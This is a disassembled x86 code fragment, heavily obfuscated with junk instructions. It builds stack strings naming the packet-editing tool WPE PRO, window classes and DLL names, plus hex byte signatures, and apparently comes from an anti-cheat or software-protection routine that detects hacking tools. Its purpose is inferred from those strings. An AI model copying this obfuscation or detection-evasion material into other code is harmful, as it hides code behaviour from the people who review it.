mov byte [esp + 0x53d], 0x6c
btc si, bx
and esi, eax
mov byte [esp + 0x53e], bl
mov byte [esp + 0x47c], 0x57
mov byte [esp + 0x47d], 0x50
inc esi
cmp esi, 0x6eb252c1
mov byte [esp + 0x47e], 0x45
btr si, cx
clc
mov byte [esp + 0x47f], 0x20
bsf esi, ebx
xchg si, si
mov byte [esp + 0x480], 0x50
xor si, 0x15b5
sal si, 0xb1
and si, 0xd8f
mov byte [esp + 0x481], 0x52
xadd esi, esi
mov byte [esp + 0x482], 0x4f
or esi, 0x1023500e
or si, dx
mov byte [esp + 0x483], bl
and si, 0x2866
mov byte [esp + 0x3e4], 0x57
mov byte [esp + 0x3e5], 0x2d
mov byte [esp + 0x3e6], 0x50
mov byte [esp + 0x3e7], 0x2d
xchg esi, esi
mov byte [esp + 0x3e8], 0x45
rcr esi, 0xc6
mov byte [esp + 0x3e9], bl
sal si, 0xe5
bt esi, 0x15
mov byte [esp + 0x484], 0x57
mov byte [esp + 0x485], 0x50
xor si, bx
mov byte [esp + 0x486], 0x45
sbb si, bx
mov byte [esp + 0x487], 0x5f
cmp edx, 0x25486d82
mov byte [esp + 0x488], 0x50
xadd esi, esi
mov byte [esp + 0x489], 0x52
mov byte [esp + 0x48a], 0x4f
mov byte [esp + 0x48b], bl
mov byte [esp + 0x504], 0x57
sbb si, 0x5c64
test dl, 0xc2
mov byte [esp + 0x505], 0x54
mov byte [esp + 0x506], 0x57
mov byte [esp + 0x507], 0x69
clc
mov byte [esp + 0x508], 0x6e
clc
mov byte [esp + 0x509], 0x64
cmova esi, edx
mov byte [esp + 0x50a], cl
mov byte [esp + 0x50b], 0x77
sbb si, 0x3de3
test ah, 0xf9
mov byte [esp + 0x50c], bl
add si, di
mov byte [esp + 0x564], 0x43
mov byte [esp + 0x565], 0x50
and esi, ebx
xor si, 0x69df
mov byte [esp + 0x566], 0x50
mov byte [esp + 0x567], 0x54
bts esi, ebp
btc esi, 0x40
mov byte [esp + 0x568], cl
add si, 0x2ad3
mov byte [esp + 0x569], cl
movzx esi, sp
movsx esi, di
mov byte [esp + 0x56a], 0x6c
mov byte [esp + 0x56b], 0x54
mov byte [esp + 0x56c], 0x69
shl esi, 0x36
mov byte [esp + 0x56d], 0x70
mov byte [esp + 0x56e], bl
mov byte [esp + 0x42c], 0x59
rcr si, 0xdd
mov byte [esp + 0x42d], 0x78
not si
cmp dx, sp
sar si, 0xd2
mov byte [esp + 0x42e], 0x53
mov byte [esp + 0x42f], cl
mov byte [esp + 0x430], 0x66
not si
mov byte [esp + 0x431], 0x74
mov byte [esp + 0x432], bl
mov si, cx
mov esi, 0x30
mov word [esp + 0xaa4], si
cmc
mov word [esp + 0xaa6], si
add si, bp
inc esi
bt esi, ebp
mov esi, 0x20
mov word [esp + 0xaa8], si
btc esi, 0xb8
mov esi, 0x36
clc
cmc
mov word [esp + 0xaaa], si
adc esi, ebx
not si
mov esi, 0x38
cmp sp, dx
jmp 0x17fa9bb
mov word [esp + 0x842], si
mov esi, 0x36
test edi, ecx
cmp di, dx
mov word [esp + 0x844], si
cmp ax, 0x3cba
btc si, sp
mov esi, 0x45
mov word [esp + 0x846], si
sal si, 0xe4
and si, 0x2ba4
sbb si, 0x576d
mov esi, 0x20
clc
test esp, esp
mov word [esp + 0x848], si
not esi
or si, sp
mov esi, 0x30
mov word [esp + 0x84a], si
jmp 0x176707a
mov esi, 0x30
mov word [esp + 0x90e], si
jmp 0x188c81d
mov word [esp + 0x910], si
bts esi, esi
stc
mov esi, 0x20
mov word [esp + 0x912], si
mov esi, 0x36
cmc
test di, 0x1aff
mov word [esp + 0x914], si
mov esi, 0x34
mov word [esp + 0x916], si
bswap si
mov esi, 0x20
clc
mov word [esp + 0x918], si
mov esi, 0x30
stc
mov word [esp + 0x91a], si
test esi, ebx
mov word [esp + 0x91c], si
xor si, 0x48e2
or si, di
mov esi, 0x20
mov word [esp + 0x91e], si
shrd si, si, 0x49
mov esi, 0x36
test ecx, 0x41a15a49
cmp esp, esp
mov word [esp + 0x920], si
adc esi, edi
shld esi, ebp, 0xe4
mov esi, 0x43
cmp esp, 0x44106be9
mov word [esp + 0x922], si
btc si, sp
xadd esi, esi
bt esi, esp
mov esi, 0x20
mov word [esp + 0x924], si
mov esi, 0x30
test esp, esp
jmp 0x65d92e
mov byte [esp + 0x434], 0x4c
mov byte [esp + 0x435], 0x69
rol esi, 0x4a
add esi, 0x287e0f7a
mov byte [esp + 0x436], 0x6e
mov byte [esp + 0x437], 0x70
adc esi, eax
test edx, ecx
bt esi, edi
mov byte [esp + 0x438], 0x72
xchg esi, esi
rcr esi, 0x7e
mov byte [esp + 0x439], cl
cmp eax, esp
and esi, 0x4244634e
mov byte [esp + 0x43a], bl
mov byte [esp + 0x43c], 0x4c
btc si, 0x60
add esi, esp
mov esi, 0x27b3527c
mov byte [esp + 0x43d], 0x69
and si, sp
adc esi, 0x46e03ae8
bts si, si
mov byte [esp + 0x43e], 0x6e
adc esi, 0x50335195
neg si
mov byte [esp + 0x43f], 0x50
shrd esi, esp, 9
neg esi
mov byte [esp + 0x440], 0x72
mov byte [esp + 0x441], cl
xchg si, si
btc si, 0x4c
mov byte [esp + 0x442], bl
inc esi
bt esi, 0x55
mov byte [esp + 0x558], 0x48
btc esi, edx
shl esi, 0x44
mov esi, edi
mov byte [esp + 0x559], 0x61
mov si, 0x21b7
mov byte [esp + 0x55a], 0x64
mov byte [esp + 0x55b], al
mov byte [esp + 0x55c], dl
btc esi, edi
add si, sp
mov byte [esp + 0x55d], 0x32
cmovno si, ax
mov byte [esp + 0x55e], 0x2e
mov byte [esp + 0x55f], al
rcl si, 0x68
mov byte [esp + 0x560], 0x78
add esi, eax
test bx, sp
cmc
mov byte [esp + 0x561], al
bts si, di
mov byte [esp + 0x562], bl
mov byte [esp + 0x5b4], 0x41
test edi, eax
shrd esi, ebx, 7
inc esi
mov byte [esp + 0x5b5], 0x31
mov byte [esp + 0x5b6], 0x32
clc
cmp eax, esi
mov byte [esp + 0x5b7], 0x30
mov byte [esp + 0x5b8], 0x39
cmp edi, 0x75781e59
bswap esi
add si, 0x4eca
mov byte [esp + 0x5b9], 0x32
bt si, di
mov byte [esp + 0x5ba], 0x37
movzx esi, si
dec esi
mov byte [esp + 0x5bb], 0x30
bt si, sp
add si, 0x5f5b
mov byte [esp + 0x5bc], 0x31
mov esi, 0x2ebf4870
stc
xchg si, si
mov byte [esp + 0x5bd], 0x2e
sub si, dx
mov byte [esp + 0x5be], 0x64
dec esi
rol esi, 0xc2
mov byte [esp + 0x5bf], 0x6c
mov byte [esp + 0x5c0], 0x6c
mov esi, esi
mov byte [esp + 0x5c1], bl
xor esi, 0x410a7c53
mov byte [esp + 0x5a4], 0x41
not si
mov byte [esp + 0x5a5], 0x31
adc si, dx
mov byte [esp + 0x5a6], 0x33
movzx esi, ax
shr esi, 0x2e
mov byte [esp + 0x5a7], 0x30
or esi, 0x2dcf1eaa
or si, sp
mov byte [esp + 0x5a8], 0x33
btr esi, ebp
ror esi, 0x49
mov byte [esp + 0x5a9], 0x32
mov byte [esp + 0x5aa], 0x37
mov byte [esp + 0x5ab], 0x30
mov byte [esp + 0x5ac], 0x31
bts si, si
or esi, 0x7cbb16e7
movsx esi, bp
mov byte [esp + 0x5ad], 0x2e
mov byte [esp + 0x5ae], 0x64
mov byte [esp + 0x5af], 0x6c
rol esi, 0x6f
bts si, si
mov byte [esp + 0x5b0], 0x6c
bsf esi, ebx
btr si, cx
add esi, 0x3adb49e8
mov byte [esp + 0x5b1], bl
clc
mov byte [esp + 0x5c4], 0x41
add si, 0x52eb
mov byte [esp + 0x5c5], 0x31
sub esi, esi
adc si, dx
bsf esi, esp
mov byte [esp + 0x5c6], 0x33
mov byte [esp + 0x5c7], 0x30
shr esi, 0xbb
bt si, cx
mov byte [esp + 0x5c8], 0x38
bt esi, 0x11
mov byte [esp + 0x5c9], 0x31
dec si
clc
mov byte [esp + 0x5ca], 0x39
inc esi
rcr esi, 0x8a
sub esi, edi
mov byte [esp + 0x5cb], 0x30
test ebp, edx
xchg esi, esi
mov byte [esp + 0x5cc], 0x31
movsx esi, bx
bsf si, sp
mov byte [esp + 0x5cd], 0x2e
rol esi, 0xba
movzx esi, sp
mov byte [esp + 0x5ce], 0x64
rcl si, 8
mov byte [esp + 0x5cf], 0x6c
adc esi, 0x49465812
sbb esi, 0x2db064d5
mov si, bx
mov byte [esp + 0x5d0], 0x6c
mov byte [esp + 0x5d1], bl
cmp si, si
sal esi, 0x4c
mov byte [esp + 0x4c8], 0x43
sub si, 0x3f3b
mov byte [esp + 0x4c9], 0x75
inc esi
bt si, ax
sar si, 0x20
mov byte [esp + 0x4ca], 0x72
bt esi, esp
btc esi, 0x3c
mov byte [esp + 0x4cb], al
bt si, 0xa0
mov byte [esp + 0x4cc], 0x2e
movzx esi, cx
mov byte [esp + 0x4cd], 0x74
jmp 0x1776a91
mov esi, 0x33
jmp 0x6a151f
mov word [esp + 0x93c], si
shl si, 0x6a
sub si, 0x2943
cmovnp si, cx
mov esi, 0x30
test ebx, 0x12e66773
mov word [esp + 0x93e], si
clc
mov word [esp + 0x940], si
test si, 0x3bb5
clc
xor esi, esi
jmp 0x17e53cb
mov word [esp + 0x880], si
movsx esi, sp
jmp 0x177a95f
mov word [esp + 0x83a], si
cmc
mov esi, 0x20
stc
jmp 0x578923
push ebp
bsr ebp, edi
and eax, 0x662374d5
test ebx, ebp
mov ebp, esp
cwde
and esp, 0xfffffff8
not al
mov al, al
mov eax, 0x2f887435
push 0xffffffffffffffff
cmova ax, di
push 0x4e5798
mov eax, ecx
mov eax, dword fs:[0]
jmp 0x7786be
mov word [esp + 0xa5c], si
xchg si, si
mov esi, 0x43
clc
cmp si, 0x2eca
jmp 0x77e191
mov word [esp + 0x8ee], si
mov esi, 0x36
test dx, di
cmp bp, 0x17ba
mov word [esp + 0x8f0], si
bsr esi, ebp
mov esi, 0x39
stc
mov word [esp + 0x8f2], si
mov esi, 0x20
clc
mov word [esp + 0x8f4], si
btc si, 0x91
or si, cx
not si
mov esi, 0x30
cmp edi, 0x457f3ac4
mov word [esp + 0x8f6], si
mov word [esp + 0x8f8], si
mov esi, 0x20
clc
mov word [esp + 0x8fa], si
mov esi, 0x36
test dx, 0x273b
mov word [esp + 0x8fc], si
mov esi, 0x45
mov word [esp + 0x8fe], si
mov esi, 0x20
cmp bx, bp
mov word [esp + 0x900], si
mov esi, 0x30
test ah, 0xbc
mov word [esp + 0x902], si
cmp ebx, 0x47796136
mov word [esp + 0x904], si
adc si, 0x7307
adc si, bx
mov esi, 0x20
stc
mov word [esp + 0x906], si
mov esi, 0x32
mov word [esp + 0x908], si
mov esi, 0x45
test esp, 0x40b81ef7
cmp si, 0x7180
mov word [esp + 0x90a], si
stc
ror si, 0x2d
mov esi, 0x20
stc
test cl, bh
cmp ecx, esi
mov word [esp + 0x90c], si
jmp 0x1872193
sub esi, esi
mov word [esp + 0x8c6], si
rcl esi, 0xa9
neg si
mov esi, 0x34
cmp bp, di
mov word [esp + 0x8cc], si
sbb esi, 0x74885705
mov esi, 0x43
mov word [esp + 0x8ce], si
mov esi, 0x20
cmp bx, sp
mov word [esp + 0x8d0], si
cmp edi, esp
mov esi, 0x30
cmc
cmp bx, di
test bh, dl
mov word [esp + 0x8d2], si
cmc
mov word [esp + 0x8d4], si
sbb si, bx
mov esi, 0x20
cmp di, dx
cmc
mov word [esp + 0x8d6], si
movzx esi, ax
bsf si, si
btr si, 0xea
mov esi, 0x36
mov word [esp + 0x8d8], si
mov esi, 0x46
test bl, ch
mov word [esp + 0x8da], si
mov esi, 0x20
cmp bx, 0x294d
jmp 0x1822fc5